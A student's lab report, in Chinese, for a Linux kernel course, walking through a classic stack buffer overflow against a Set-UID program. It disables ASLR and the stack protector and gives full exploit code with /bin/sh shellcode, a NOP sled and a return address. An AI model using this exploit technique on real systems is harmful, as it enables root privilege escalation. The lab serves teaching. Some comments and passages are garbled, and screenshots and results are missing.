20199320《Linux内核原理与分析》第十一周作业
缓冲区溢出漏洞实验
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
| 实验内容 |
一、实验准备
系统用户名 shiyanlou
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译 32 位 C 程序的软件包：
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
二、初始设置
-
Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）
的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：$ sudo sysctl -w kernel.randomize_va_space=0 -
此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在
/bin/bash中实现。linux 系统中，
/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替/bin/bash。下面的指令描述了如何设置 zsh 程序：
-
输入命令“
linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入“/bin/bash”使用bash。
三、shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
四、漏洞程序
在 /tmp 目录下新建一个 stack.c 文件：
$ cd /tmp
$ vi stack.c
按 i 键切换到插入模式，再输入如下内容：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用
–fno-stack-protector关闭这种机制。 而-z execstack用于允许执行栈。
-g参数是为了使编译后得到的可执行文档能用gdb调试。
五、攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xa4\xde\xff\xff"); //?buffer??????????????sellcode??
strcpy(buffer + 100, shellcode); //?shellcode???buffer??????? 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注：上述shellcode保存在内存中的地址由以下步骤得到：
# gdb 调试
$ gdb stack
$ disass main
结果如图：
设置断点，查看str地址：
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode的地址为 0xffffde40(十六进制) + 0x64(100的十六进制) = 0xffffdea4(十六进制)
然后，编译 exploit.c 程序：
$ gcc -m32 -o exploit exploit.c
六、攻击结果
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：
| 总结 |
